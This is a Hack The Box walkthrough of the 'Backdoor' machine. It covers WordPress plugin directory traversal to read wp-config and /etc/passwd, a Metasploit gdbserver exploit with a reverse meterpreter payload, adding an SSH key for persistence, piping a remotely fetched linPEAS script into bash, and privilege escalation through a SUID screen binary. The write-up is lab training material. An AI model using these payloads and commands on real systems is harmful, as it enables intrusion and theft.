Walkthrough: Backdoor - Hack The Box
In this box, we exploit a vulnerable Wordpress plugin to look through the /proc
directory. This leads us to a running gdbserver
instace, which we leverage to get a shell on the box. From there, we leverage our SUID privileges for screen and a detached root screen session to root the box.
Nmap
First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll just enumerate as much as we can by using the -A
and -p-
options.
nmap -A -p- -T4 10.10.11.125
Note: The box’s IP was 10.10.11.125 when I completed this.
Results:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-14 19:56 EST
Warning: 10.10.11.125 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.125
Host is up (0.24s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
1337/tcp open waste?
43783/tcp filtered unknown
47302/tcp filtered unknown
51239/tcp filtered unknown
58902/tcp filtered unknown
60976/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 984.06 seconds
Port | Service | Product/Version | Notes |
---|---|---|---|
22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | This is a pretty recent version of SSH. This isn’t likely to be the way in. |
80 | HTTP | Apache httpd 2.4.41 ((Ubuntu)) | There isn’t much special about this version of Apache either. The website is probably where I’ll go first though. |
1337 | waste? | This is interesting. There isn’t enough info to determine what it is yet though. We’ll come back to this later. |
Foothold
Going to http://10.10.11.125 sends us to a wordpress site that looks like it pretty much hasn’t been touched, aside from replacing the contents of the homepage with some text about the Sweedish Museum of Modern Art.
There a link to a site called backdoor.htb
, which we can add to our hosts file by running:
sudo nano /etc/hosts
and then adding this line:
10.10.11.125 backdoor.htb
All this does is bring us to what seems to be the same site.
It looks like they’re leaving directory listing on, which should make it easier to manually enumerate stuff like plugins and themes. Going to /wp-content/
shows the directory listing.
If we go to http://backdoor.htb/wp-content/plugins/, we can see that there’s a plugin called ebook-download
.
Going into that folder shows us a file called readme.txt
. Opening it describes a plugin that can be used to allow people to download your ebook if they put in an email address. It also shows that the version that’s running is version 1.1.
Some quick googling for “wordpress ebook download exploit” shows that there’s a directory traversal vulnerability in version 1.1.
The vulnerability works by simply going to the right URL. Here’s the sample exploit path:
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
If we add our domain onto the front, we get this
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
If we put this URL into our browser, we get back a download of the wp-config
file!
User
Going to this URL gets us the /etc/passwd
file
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
Looks like the only two users with shell access are root
and user
.
While looking around the system, I figured I’d create a script (which I called file_load.sh
) to make things easier:
#! /bin/bash
BASE="http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../.."
FILE=$1
URL=$BASE
URL+=$FILE
curl -s $URL
After making the file executable (with chmod +x file_load.sh
), all you have to do is run ./file_load.sh <filename>
and you get back the file.
This took a lot of digging around, but the files that ended up being the most useful were /proc/net/tcp
and /proc/sched_debug
. Here are some links (1, 2) that go deeper into the /proc
filesystem and what all these files do.
/proc/net/tcp
:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 36243 1 0000000000000000 100 0 0 10 0
1: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 36245 1 0000000000000000 100 0 0 10 0
2: 00000000:15B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 647405 1 0000000000000000 100 0 0 10 0
3: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 32267 1 0000000000000000 100 0 0 10 0
4: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 33602 1 0000000000000000 100 0 0 10 0
5: 7D0B0A0A:E02C 01010101:0035 02 00000001:00000000 01:00000149 00000002 101 0 647404 2 0000000000000000 400 0 0 1 7
6: 7D0B0A0A:B5E2 1B100A0A:01BB 01 00000000:00000000 00:00000000 00000000 1000 0 627543 1 0000000000000000 38 4 26 10 -1
7: 7D0B0A0A:8728 3F0E0A0A:115C 01 00000000:00000000 00:00000000 00000000 1000 0 515836 1 0000000000000000 24 4 31 10 10
8: 7D0B0A0A:0539 1B100A0A:8888 01 00000000:00000000 02:0007E04E 00000000 1000 0 599419 2 0000000000000000 52 4 12 10 38
Here we can see a few of the ports that were opened by our user (UID 1000). They’re hex-encoded, but can be easily switched back to decimal using a tool like this one from RapidTables. The ports opened by UID 1000 are 5555 (15B3
), 46562 (B5E2
), 34600 (8728
), and 1337 (0539
). There’s that 1337 port we saw open earlier. Seems like that should be our next way in. We just need to figure out how to connect to it.
/proc/sched_debug
(abridged):
Sched Debug Version: v0.11, 5.4.0-80-generic #90-Ubuntu
ktime : 68784828.820476
sched_clk : 68785293.346785
cpu_clk : 68784924.951576
jiffies : 4312088484
sched_clock_stable() : 1
[...]
dl_rq[0]:
.dl_nr_running : 0
.dl_nr_migratory : 0
.dl_bw->bw : 996147
.dl_bw->total_bw : 0
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S systemd 1 3113.646302 28468 120 0.000000 6818.043354 0.000000 0 0 /autogroup-2
I rcu_gp 3 7740.423548 4 100 0.000000 0.031911 0.000000 0 0 /
I rcu_par_gp 4 15.970053 2 100 0.000000 0.001708 0.000000 0 0 /
[...]
S bash 164652 0.538051 1 120 0.000000 1.811467 0.000000 0 0 /autogroup-932
S gdbserver 164653 143.808993 686 120 0.000000 171.403338 0.000000 0 0 /autogroup-932
S bash 164870 761.529968 235 120 0.000000 117.235479 0.000000 0 0 /autogroup-935
[...]
S sleep 179340 543731.309540 1 120 0.000000 0.999984 0.000000 0 0 /autogroup-61
cpu#1, 2294.609 MHz
.nr_running : 2
.nr_switches : 13710520
.nr_load_updates : 0
.nr_uninterruptible : -16
.next_balance : 4312.088501
.curr->pid : 88298
.clock : 68784927.354497
.clock_task : 68784927.354497
.avg_idle : 1000000
.max_idle_balance_cost : 500000
[...]
dl_rq[1]:
.dl_nr_running : 0
.dl_nr_migratory : 0
.dl_bw->bw : 996147
.dl_bw->total_bw : 0
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S kthreadd 2 972446.880543 509 120 0.000000 26.262679 0.000000 0 0 /
S cpuhp/1 15 6224.457258 11 120 0.000000 0.111004 0.000000 0 0 /
[...]
S apache2 177262 244868.370907 17935 120 0.000000 12533.586502 0.00
I kworker/u256:1 178046 1028474.318445 778 120 0.000000 26.767364 0.00
I kworker/1:0 178112 1028475.439127 4308 120 0.000000 293.455831 0.00
This file has a lot of info. What’s of interest to us here though are the running processes that are listed. Now this is still a lot to handle and unfortunately as far as I know there’s not really a way to easily identify what’s important and what’s not, aside from experience. After doing a lot of digging into these processes, one jumped out as the most interesting: gdbserver
.
As it turns out, gdbserver is a remote debugging program for the GNU Debugger (gdb). This sounds like a good candidate for what might be running on port 1337.
Because of the way gdbserver is configured on the box, only one person can be connected to it at a time. You may have to reset the box to get it to work. If you run nmap -p 1337 10.10.11.125
and the port shows as “closed”, that means someone has already used it.
Here’s a little script that will print out a new line whenever it detects that port 1337 is open:
while true
do
nmap -p 1337 10.10.11.125 | grep "open"
sleep 10
done
Checking out gdb on metasploit, we can see that there is a metasploit module available for this. We’ll use it for simplicity and reliability. Just run
msfconsole
use exploit/multi/gdb/gdb_server_exec
to get the module started.
Next, run info
to list all of the options. Here are the settings we want to change:
- TARGET: 1
- RHOSTS: 10.10.11.125
- RPORT: 1337
- PAYLOAD: linux/x64/meterpreter/reverse_tcp
- LHOST: <Your IP>
- LPORT: 9002 (choose whatever you want)
We’re using Target 1 (x86_64) and the x64 payload because the machine is an x64 (64-bit) machine, not an x86 (32-bit) machine.
Run
set <SETTING NAME> <SETTING VALUE>
a few times to set the appropriate values.
After setting all of those options, waiting for port 1337 to open up, and running
run
we should get a meterpreter session back. This is good enough to get user.txt
, but it would be nice to have a better shell, so let’s get ourselves ssh access.
First, run
ssh-keygen
to make yourself a key on your local machine. I called mine key
.
Next run
cat key.pub #or whatever you called your key with ".pub" at the end
to get the contents of your public key.
Now on our meterpreter session we’ll do this:
cd ~
mkdir .ssh
cd .ssh
echo "<CONTENTS OF YOUR PUBLIC KEY>" >> authorized_keys
chmod 600 authorized_keys
Now we can log into the box as user
ssh -i key [email protected]
Root
Enumeration
Let’s start by running linPEAS. First, download the latest linpeas.sh
file from the github.
We’ll set up a web server on our local machine (using the folder with linpeas.sh
as the working directory)
python -m http.server
Then on the ssh session, just run
curl http://<YOUR IP ADDRESS>:8000/linpeas.sh | bash
and linPEAS will start running automatically.
This identified a few paths for us:
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
Vulnerable to CVE-2021-4034
Vulnerable to CVE-2021-3560
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root 848 0.0 0.0 2608 1832 ? Ss 03:14 0:01 _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done
╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin
Firstly there are the two sudo vulnerabilities, which are vulnerabilities in a package called polkit
. These would most likely work here, but really they aren’t the intended privilege escalation vectors.
Looking more into the Pkexec vulnerability, we’d need credentials, so that’s out of contention.
The process mentioned does look interesting though. We’ll search through some man pages to figure out what’s really going on here.
From the find manpage:
EXPRESSION
The part of the command line after the list of starting points is the expression. This is a kind of query specification describing how we match files and what we do with the files that were matched. An expression is composed of a sequence of things:
Tests Tests return a true or false value, usually on the basis of some property of a file we are considering. The -empty test for example is true only when the current file is empty.
Actions Actions have side effects (such as printing something on the standard output) and return either true or false, usually based on whether or not they are successful. The -print action for example prints the name of the current file on the standard output.
-empty File is empty and is either a regular file or a directory.
-exec command ; Execute command; true if 0 status is returned. All following arguments to find are taken to be arguments to the command until an argument consisting of
;
is encountered. The string{}
is replaced by the current file name being processed everywhere it occurs in the arguments to the command, not just in arguments where it is alone, as in some versions of find. Both of these constructions might need to be escaped (with a\
) or quoted to protect them from expansion by the shell. See the EXAMPLES section for examples of the use of the -exec option. The specified command is run once for each matched file. The command is executed in the starting directory. There are unavoidable security problems surrounding use of the -exec action; you should use the -execdir option instead.
So the find /var/run/screen/S-root/ -empty
part of the command finds only empty files or directories in that /var/run/screen/S-root/
directory (including the directory itself). For each matched file, screen -dmS root
is then executed.
From the screen manpage:
-m
causes screen to ignore the $STY environment variable. With “screen -m” creation of a new session is enforced, regardless whether screen is called from within another screen session or not. This flag has a special meaning in connection with the ‘-d’ option:
-d
-m Start screen in “detached” mode. This creates a new session but doesn’t attach to it. This is useful for system startup scripts.
-S sessionname
When creating a new session, this option can be used to specify a meaningful name for the session. This name identifies the session for “screen -list” and “screen -r” actions. It substitutes the default [tty.host] suffix.
so screen -dmS root
creates a new detatched session called “root”, which runs as the root user.
Also interestingly, we have SUID (Set UID) privileges for screen. We can see that in the output of linPEAS, but we can also check it with this command
find / -perm -4000 2>/dev/null #Find all SUID binaries
Output:
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec
We can also see where screen is saving its sessions for our user with this command
screen -list
Output:
No Sockets found in /run/screen/S-user.
If I were a betting man, I’d wager that /run/screen/S-root
is the folder where the root screen sessions are stored. What that means is that the command we looked at earlier has the effect of keeping a detached root screen session open all the time, because if the screen session is ever closed, the find command will match on the /run/screen/S-root
directory itself (because it is empty) and then execute another screen session in detatched mode.
Now we just need to figure out how to use our SUID privileges to attach to that session. Here’s another snippet from the manpage for screen:
-r [pid.tty.host]
-r sessionowner/[pid.tty.host]
resumes a detached screen session. No other options (except combinations with -d/-D) may be specified, though an optional prefix of [pid.]tty.host may be needed to distinguish between multiple detached screen sessions. The second form is used to connect to another user’s screen session which runs in multiuser mode. This indicates that screen should look for sessions in another user’s directory. This requires setuid-root.
This looks like it could work, as long as the config for screen has multiuser turned on by default. We’d just have to try to connect to root/root
.
Let’s try it. We’ll run
screen -r root/root
and we get back a root shell! Now we can just run cat ~/root.txt
and we get the root flag.